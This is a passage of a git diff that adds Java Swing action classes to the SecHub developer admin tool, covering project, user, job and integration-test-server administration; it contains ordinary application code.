{ + + OutputUI getOutputUI(); + + CommandUI getCommandUI(); + + CredentialUI getCredentialUI(); + + GlassPaneUI getGlassPaneUI(); + + DialogUI getDialogUI(); + + String getApiToken(); + + String getUser(); + + String getServer(); + + int getPort(); + + DeveloperAdministration getAdministration(); + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/AbstractUIAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/AbstractUIAction.java new file mode 100644 index 0000000000..ac5857942b --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/AbstractUIAction.java @@ -0,0 +1,108 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action; + +import java.awt.event.ActionEvent; +import java.util.Optional; + +import javax.swing.AbstractAction; +import javax.swing.Action; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.daimler.sechub.developertools.admin.ui.OutputUI; +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.cache.InputCache; +import com.daimler.sechub.developertools.admin.ui.cache.InputCacheIdentifier; + +public abstract class AbstractUIAction extends AbstractAction{ + + private static final long serialVersionUID = 1L; + private static InputCache inputCache = new InputCache(); + static { + inputCache.set(InputCacheIdentifier.EMAILADRESS, "sechub@example.org"); + } + + + private static final Logger LOG = LoggerFactory.getLogger(AbstractUIAction.class); + + + private transient UIContext context; + + public AbstractUIAction(String text, UIContext context) { + this.context=context; + this.putValue(Action.NAME, text); + } + + protected UIContext getContext() { + return context; + } + + @Override + public final void actionPerformed(ActionEvent event) { + String actionName = getClass().getSimpleName()+"-"+System.currentTimeMillis(); + String threadName = "action-"+actionName; + Thread t = new Thread(()-> { + LOG.info("start action {}",actionName); + context.getCommandUI().startActionProgress(actionName); + + + output(""); + output("[EXECUTE] "+actionName); + + safeExecute(event, actionName); + + context.getCommandUI().stopActionProgress(actionName); + output("[DONE]"); + LOG.info("done action {}",actionName); + + },threadName); + + t.start(); + } + + public String getName() { + return (String) this.getValue(Action.NAME); + } + + protected void output(String text) { + + OutputUI outputUI = getContext().getOutputUI(); + outputUI.output(text); + } + + private void safeExecute(ActionEvent event, String executionDescription) { + try { + execute(event); + }catch(Exception e) { + context.getOutputUI().error("Execution of "+executionDescription+" failed",e); + } + } + + /** + * Shows an input dialog for user. Last entered values for given idenifier will be shown + * @param message + * @param identifier + * @return + */ + protected Optional getUserInput(String message, InputCacheIdentifier identifier) { + + Optional x = getContext().getDialogUI().getUserInput(message,inputCache.get(identifier)); + if (x.isPresent() && identifier!=null) { + inputCache.set(identifier, x.get()); + } + return x; + } + + protected boolean confirm(String message) { + return getContext().getDialogUI().confirm(message); + } + + + + protected void warn(String message) { + getContext().getDialogUI().warn(message); + } + + protected abstract void execute(ActionEvent e) throws Exception; +} diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/ActionSupport.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/ActionSupport.java new file mode 100644 index 0000000000..12af0a2d31 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/ActionSupport.java @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action; + +import java.awt.event.KeyEvent; +import java.util.ArrayList; +import java.util.List; + +import javax.swing.JMenu; +import javax.swing.JMenuItem; +import javax.swing.JPopupMenu; +import javax.swing.text.DefaultEditorKit; + +public class ActionSupport { + + public void apply(JPopupMenu menu, List items) { + for (JMenuItem item: items) { + menu.add(item); + } + } + + public void apply(JMenu menu, List items) { + for (JMenuItem item: items) { + menu.add(item); + } + } + + public List createDefaultCutCopyAndPastActions(){ + List menuItems = new ArrayList<>(); + + JMenuItem menuItem = new JMenuItem(new DefaultEditorKit.CutAction()); + menuItem.setText("Cut"); + menuItem.setMnemonic(KeyEvent.VK_T); + menuItems.add(menuItem); + + menuItem = new JMenuItem(new DefaultEditorKit.CopyAction()); + menuItem.setText("Copy"); + menuItem.setMnemonic(KeyEvent.VK_C); + menuItems.add(menuItem); + + menuItem = new JMenuItem(new DefaultEditorKit.PasteAction()); + menuItem.setText("Paste"); + menuItem.setMnemonic(KeyEvent.VK_P); + menuItems.add(menuItem); + return menuItems; + } +} diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/integrationtestserver/FetchMockMailsAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/integrationtestserver/FetchMockMailsAction.java new file mode 100644 index 0000000000..371afe83c3 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/integrationtestserver/FetchMockMailsAction.java @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.integrationtestserver; + +import java.awt.event.ActionEvent; +import java.util.List; +import java.util.Optional; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.cache.InputCacheIdentifier; +import com.daimler.sechub.integrationtest.api.MockEmailEntry; +import com.daimler.sechub.integrationtest.internal.IntegrationTestContext; + +public class FetchMockMailsAction extends IntegrationTestAction { + private static final long serialVersionUID = 1L; + + public FetchMockMailsAction(UIContext context) { + super("Fetch emails", context); + } + + + @Override + protected void executeImplAfterRestHelperSwitched(ActionEvent e) { + Optional emailAdress = getUserInput("Please enter userid to fetch mock mails",InputCacheIdentifier.EMAILADRESS); + if (!emailAdress.isPresent()) { + return; + } + List data = IntegrationTestContext.get().emailAccess().getMockMailListFor(emailAdress.get()); + for (MockEmailEntry entry: data) { + output(entry.fullToString()); + } + + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/integrationtestserver/IntegrationTestAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/integrationtestserver/IntegrationTestAction.java new file mode 100644 index 0000000000..207cd277e7 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/integrationtestserver/IntegrationTestAction.java @@ -0,0 +1,60 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.integrationtestserver; + +import java.awt.event.ActionEvent; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; +import com.daimler.sechub.integrationtest.api.IntegrationTestSetup; +import com.daimler.sechub.integrationtest.internal.IntegrationTestContext; + +/** + * Special actions using the integration test framework directly. Will always ensure the integration test server is running. + * Just for convenience to have directly access to scenarios and integration test server special API + * @author Albert Tregnaghi + * + */ +public abstract class IntegrationTestAction extends AbstractUIAction{ + + private static final long serialVersionUID = 1L; + + public IntegrationTestAction(String text, UIContext context) { + super(text, context); + } + + @Override + protected final void execute(ActionEvent e) throws Exception { + if (!checkIntegrationTestServerRunning()) { + return; + } + if (isConfirmNecessary() && !confirm("Do you really want to execute:"+getInfo())) { + return; + } + executeImplAfterRestHelperSwitched(e); + } + + protected boolean isConfirmNecessary() { + /* per default not necessary */ + return false; + } + + private boolean checkIntegrationTestServerRunning() { + IntegrationTestContext.get().setHostname(getContext().getServer()); + IntegrationTestContext.get().setPort(getContext().getPort()); + + if (! Boolean.TRUE.equals(IntegrationTestSetup.fetchTestServerStatus())){ + warn("You are not running an integration test server, so cannot exeucte action!"); + return false; + } + return true; + + } + + protected String getInfo() { + return getName(); + } + + protected abstract void executeImplAfterRestHelperSwitched(ActionEvent e); + + +} diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/integrationtestserver/testdata/CreateScenario3TestDataAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/integrationtestserver/testdata/CreateScenario3TestDataAction.java new file mode 100644 index 0000000000..652a2b3a6b --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/integrationtestserver/testdata/CreateScenario3TestDataAction.java @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.integrationtestserver.testdata; + +import java.awt.event.ActionEvent; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.integrationtestserver.IntegrationTestAction; +import com.daimler.sechub.integrationtest.scenario3.Scenario3; + +public class CreateScenario3TestDataAction extends IntegrationTestAction { + private static final long serialVersionUID = 1L; + + public CreateScenario3TestDataAction(UIContext context) { + super("Create TestData (Scenario3)", context); + } + + + @Override + protected void executeImplAfterRestHelperSwitched(ActionEvent e) { + Scenario3 s = new Scenario3(); + s.prepare("Developer","AdminUI"); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/integrationtestserver/testdata/TriggerNewWebScanJobScenario3User1Action.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/integrationtestserver/testdata/TriggerNewWebScanJobScenario3User1Action.java new file mode 100644 index 0000000000..0590a09939 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/integrationtestserver/testdata/TriggerNewWebScanJobScenario3User1Action.java @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.integrationtestserver.testdata; + +import java.awt.event.ActionEvent; +import java.util.UUID; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.integrationtestserver.IntegrationTestAction; +import com.daimler.sechub.integrationtest.api.RunMode; +import com.daimler.sechub.integrationtest.api.TestAPI; +import com.daimler.sechub.integrationtest.scenario3.Scenario3; + +public class TriggerNewWebScanJobScenario3User1Action extends IntegrationTestAction { + private static final long serialVersionUID = 1L; + private RunMode mode; + + public TriggerNewWebScanJobScenario3User1Action(UIContext context, RunMode mode) { + super("Trigger new job (Scenario3) -"+mode, context); + this.mode=mode; + } + + @Override + protected void executeImplAfterRestHelperSwitched(ActionEvent e) { + UUID uuid = TestAPI.as(Scenario3.USER_1).createWebScan(Scenario3.PROJECT_1,mode); + output("Job created:"+uuid); + TestAPI.as(Scenario3.USER_1).approveJob(Scenario3.PROJECT_1, uuid); + output("Job approved:"+uuid); + } + +} diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/job/DownloadFullscanDataForJobAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/job/DownloadFullscanDataForJobAction.java new file mode 100644 index 0000000000..31aac6c1b8 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/job/DownloadFullscanDataForJobAction.java @@ -0,0 +1,36 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.job; + +import java.awt.event.ActionEvent; +import java.util.Optional; +import java.util.UUID; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; +import com.daimler.sechub.developertools.admin.ui.cache.InputCacheIdentifier; + +public class DownloadFullscanDataForJobAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + public DownloadFullscanDataForJobAction(UIContext context) { + super("Download job scan data as zip", context); + } + + @Override + public void execute(ActionEvent e) { + Optional jobUUID = getUserInput("Please enter job uuid", InputCacheIdentifier.JOB_UUID); + if (!jobUUID.isPresent()) { + return; + } + UUID sechubJobUUID = null; + try { + sechubJobUUID = UUID.fromString(jobUUID.get()); + } catch (Exception ex) { + getContext().getOutputUI().error("Not a UUID:" + jobUUID.get(), ex); + return; + } + String data = getContext().getAdministration().triggerDownloadFullScan(sechubJobUUID); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/job/DownloadHTMLReportForJobAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/job/DownloadHTMLReportForJobAction.java new file mode 100644 index 0000000000..503a1ba57c --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/job/DownloadHTMLReportForJobAction.java @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.job; + +import java.awt.event.ActionEvent; +import java.util.Optional; +import java.util.UUID; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; +import com.daimler.sechub.developertools.admin.ui.cache.InputCacheIdentifier; + +public class DownloadHTMLReportForJobAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + public DownloadHTMLReportForJobAction(UIContext context) { + super("Download html report for job", context); + } + + @Override + public void execute(ActionEvent e) { + Optional projectId = getUserInput("Please enter project id",InputCacheIdentifier.PROJECT_ID); + if (! projectId.isPresent()) { + return; + } + Optional jobUUID = getUserInput("Please enter job uuid", InputCacheIdentifier.JOB_UUID); + if (!jobUUID.isPresent()) { + return; + } + UUID sechubJobUUID = null; + try { + sechubJobUUID = UUID.fromString(jobUUID.get()); + } catch (Exception ex) { + getContext().getOutputUI().error("Not a UUID:" + jobUUID.get(), ex); + return; + } + String data = getContext().getAdministration().triggerDownloadReport(projectId.get(), sechubJobUUID); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/job/GetJSONReportForJobAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/job/GetJSONReportForJobAction.java new file mode 100644 index 0000000000..f08cddf9b1 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/job/GetJSONReportForJobAction.java @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.job; + +import java.awt.event.ActionEvent; +import java.util.Optional; +import java.util.UUID; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; +import com.daimler.sechub.developertools.admin.ui.cache.InputCacheIdentifier; + +public class GetJSONReportForJobAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + public GetJSONReportForJobAction(UIContext context) { + super("Get JSON report for job", context); + } + + @Override + public void execute(ActionEvent e) { + Optional projectId = getUserInput("Please enter project id",InputCacheIdentifier.PROJECT_ID); + if (! projectId.isPresent()) { + return; + } + Optional jobUUID = getUserInput("Please enter job uuid", InputCacheIdentifier.JOB_UUID); + if (!jobUUID.isPresent()) { + return; + } + UUID sechubJobUUID = null; + try { + sechubJobUUID = UUID.fromString(jobUUID.get()); + } catch (Exception ex) { + getContext().getOutputUI().error("Not a UUID:" + jobUUID.get(), ex); + return; + } + String data = getContext().getAdministration().fetchJSONReport(projectId.get(), sechubJobUUID); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/job/GetJobStatusAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/job/GetJobStatusAction.java new file mode 100644 index 0000000000..9949f48f0f --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/job/GetJobStatusAction.java @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.job; + +import java.awt.event.ActionEvent; +import java.util.Optional; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; +import com.daimler.sechub.developertools.admin.ui.cache.InputCacheIdentifier; + +public class GetJobStatusAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + public GetJobStatusAction(UIContext context) { + super("Get job status", context); + } + + @Override + public void execute(ActionEvent e) { + Optional projectId = getUserInput("Please enter project id",InputCacheIdentifier.PROJECT_ID); + if (! projectId.isPresent()) { + return; + } + Optional jobUUID = getUserInput("Please enter job uuid",InputCacheIdentifier.JOB_UUID); + if (! jobUUID.isPresent()) { + return; + } + String data = getContext().getAdministration().fetchJobStatus(projectId.get(), jobUUID.get()); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/job/ShowRunningBatchJobsListAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/job/ShowRunningBatchJobsListAction.java new file mode 100644 index 0000000000..add5333ecc --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/job/ShowRunningBatchJobsListAction.java @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.job; + +import java.awt.event.ActionEvent; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; + +/** + * This action shows the JobInformation entries which only live while a batch action is running. This is a vehicle to + * get state over the the complete running batch job, without directly fetch data from spring batch database + * @author Albert Tregnaghi + * + */ +public class ShowRunningBatchJobsListAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + public ShowRunningBatchJobsListAction(UIContext context) { + super("Show running batch jobs", context); + } + + @Override + public void execute(ActionEvent e) { + String data = getContext().getAdministration().fetchRunningJobsList(); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/AssignUserToProjectAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/AssignUserToProjectAction.java new file mode 100644 index 0000000000..23d1839505 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/AssignUserToProjectAction.java @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.project; + +import java.awt.event.ActionEvent; +import java.util.Optional; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; +import com.daimler.sechub.developertools.admin.ui.cache.InputCacheIdentifier; + +public class AssignUserToProjectAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + public AssignUserToProjectAction(UIContext context) { + super("Assign user to project", context); + } + + @Override + public void execute(ActionEvent e) { + Optional userId = getUserInput("Please enter userId",InputCacheIdentifier.USERNAME); + if (! userId.isPresent()) { + return; + } + Optional projectId = getUserInput("Please enter project ID/name",InputCacheIdentifier.PROJECT_ID); + if (! projectId.isPresent()) { + return; + } + + String data = getContext().getAdministration().assignUserToProject(userId.get(), projectId.get()); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/CreateProjectAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/CreateProjectAction.java new file mode 100644 index 0000000000..6762a84e0c --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/CreateProjectAction.java @@ -0,0 +1,48 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.project; + +import java.awt.event.ActionEvent; +import java.util.ArrayList; +import java.util.List; +import java.util.Optional; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; +import com.daimler.sechub.developertools.admin.ui.cache.InputCacheIdentifier; + +public class CreateProjectAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + public CreateProjectAction(UIContext context) { + super("Create project", context); + } + + @Override + public void execute(ActionEvent e) { + Optional projectId = getUserInput("Please enter project ID/name",InputCacheIdentifier.PROJECT_ID); + if (! projectId.isPresent()) { + return; + } + Optional description = getUserInput("Please enter a short description (optional)",null); + Optional owner = getUserInput("Please enter owner user id (must exist)",InputCacheIdentifier.USERNAME); + if (! owner.isPresent()) { + return; + } + + List whiteListURLs = new ArrayList<>(); + int i=1; + Optional uri; + do { + uri = getUserInput("(Optional) whitelist uri["+i+"]:",InputCacheIdentifier.WHITELIST_URI); + i++; + if (uri.isPresent()) { + whiteListURLs.add(uri.get()); + } + }while(uri.isPresent()); + + + String data = getContext().getAdministration().createProject(projectId.get(),description.get(), owner.get(),whiteListURLs); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/DeleteProjectAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/DeleteProjectAction.java new file mode 100644 index 0000000000..d4399886a8 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/DeleteProjectAction.java @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.project; + +import java.awt.event.ActionEvent; +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; +import com.daimler.sechub.developertools.admin.ui.cache.InputCacheIdentifier; + +public class DeleteProjectAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + private static final Logger LOG = LoggerFactory.getLogger(DeleteProjectAction.class); + + public DeleteProjectAction(UIContext context) { + super("Delete project", context); + } + + @Override + public void execute(ActionEvent e) { + Optional projectId = getUserInput("Please enter project ID/name to DELETE", InputCacheIdentifier.PROJECT_ID); + if (! projectId.isPresent()) { + return; + } + + if (!confirm("Do you really want to\nDELETE\nproject "+projectId+"?")) { + output("CANCELED - delete"); + LOG.info("canceled delete of {}",projectId); + return; + } + LOG.info("start delete of {}",projectId); + String data = getContext().getAdministration().deleteProject(projectId.get()); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/ShowProjectDetailAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/ShowProjectDetailAction.java new file mode 100644 index 0000000000..b4c86dd5bc --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/ShowProjectDetailAction.java @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.project; + +import java.awt.event.ActionEvent; +import java.util.Optional; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; +import com.daimler.sechub.developertools.admin.ui.cache.InputCacheIdentifier; + +public class ShowProjectDetailAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + public ShowProjectDetailAction(UIContext context) { + super("Show project detail",context); + } + + @Override + public void execute(ActionEvent e) { + Optional projectId = getUserInput("Please enter project ID/name",InputCacheIdentifier.PROJECT_ID); + if (! projectId.isPresent()) { + return; + } + + String data = getContext().getAdministration().fetchProjectInfo(projectId.get()); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/ShowProjectListAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/ShowProjectListAction.java new file mode 100644 index 0000000000..63be3733bf --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/ShowProjectListAction.java @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.project; + +import java.awt.event.ActionEvent; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; + +public class ShowProjectListAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + public ShowProjectListAction(UIContext context) { + super("Show project list",context); + } + + @Override + public void execute(ActionEvent e) { + String data = getContext().getAdministration().fetchProjectList(); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/ShowProjectsScanLogsAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/ShowProjectsScanLogsAction.java new file mode 100644 index 0000000000..52ccf2b247 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/ShowProjectsScanLogsAction.java @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.project; + +import java.awt.event.ActionEvent; +import java.util.Optional; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; +import com.daimler.sechub.developertools.admin.ui.cache.InputCacheIdentifier; + +public class ShowProjectsScanLogsAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + public ShowProjectsScanLogsAction(UIContext context) { + super("Show project scan logs",context); + } + + @Override + public void execute(ActionEvent e) { + Optional projectId = getUserInput("Please enter project ID/name",InputCacheIdentifier.PROJECT_ID); + if (! projectId.isPresent()) { + return; + } + + String data = getContext().getAdministration().fetchProjectScanLogs(projectId.get()); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/UnassignUserFromProjectAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/UnassignUserFromProjectAction.java new file mode 100644 index 0000000000..3c42169506 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/UnassignUserFromProjectAction.java @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.project; + +import java.awt.event.ActionEvent; +import java.util.Optional; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; +import com.daimler.sechub.developertools.admin.ui.cache.InputCacheIdentifier; + +public class UnassignUserFromProjectAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + public UnassignUserFromProjectAction(UIContext context) { + super("Unassign user from project", context); + } + + @Override + public void execute(ActionEvent e) { + Optional userId = getUserInput("Please enter userId",InputCacheIdentifier.USERNAME); + if (! userId.isPresent()) { + return; + } + Optional projectId = getUserInput("Please enter project ID/name",InputCacheIdentifier.PROJECT_ID); + if (! projectId.isPresent()) { + return; + } + + String data = getContext().getAdministration().unassignUserFromProject(userId.get(), projectId.get()); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/UpdateProjectWhitelistAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/UpdateProjectWhitelistAction.java new file mode 100644 index 0000000000..ef79d38fa0 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/project/UpdateProjectWhitelistAction.java @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.project; + +import java.awt.event.ActionEvent; +import java.util.List; +import java.util.Optional; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; +import com.daimler.sechub.developertools.admin.ui.cache.InputCacheIdentifier; + +public class UpdateProjectWhitelistAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + public UpdateProjectWhitelistAction(UIContext context) { + super("Update project whitelist", context); + } + + @Override + public void execute(ActionEvent e) { + Optional projectId = getUserInput("Please enter project ID/name",InputCacheIdentifier.PROJECT_ID); + if (! projectId.isPresent()) { + return; + } + + List data = getContext().getAdministration().fetchProjectWhiteList(projectId.get()); + List result = getContext().getDialogUI().editList("Whitelist entries for "+projectId.get(), data); + if (result==null) { + return; + } + getContext().getAdministration().updateProjectWhiteList(projectId.get(),result); + + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/AcceptUserSignupAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/AcceptUserSignupAction.java new file mode 100644 index 0000000000..fa0009e33d --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/AcceptUserSignupAction.java @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.user; + +import java.awt.event.ActionEvent; +import java.util.Optional; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; +import com.daimler.sechub.developertools.admin.ui.cache.InputCacheIdentifier; + +public class AcceptUserSignupAction extends AbstractUIAction { + private static final long serialVersionUID = 1L; + + public AcceptUserSignupAction(UIContext context) { + super("Accept user signup",context); + } + + @Override + public void execute(ActionEvent e) { + Optional userToSignup = getUserInput("Please enter signedup userid to accept",InputCacheIdentifier.USERNAME); + if (!userToSignup.isPresent()) { + return; + } + String data = getContext().getAdministration().doSignup(userToSignup.get()); + output(data); + } + +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/AnonymousSigninNewUserAction.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/AnonymousSigninNewUserAction.java new file mode 100644 index 0000000000..45792f8e00 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/action/user/AnonymousSigninNewUserAction.java @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui.action.user; + +import java.awt.event.ActionEvent; +import java.util.Optional; + +import com.daimler.sechub.developertools.admin.ui.UIContext; +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; +import com.daimler.sechub.developertools.admin.ui.cache.InputCacheIdentifier; + +public class AnonymousSigninNewUserAction extends 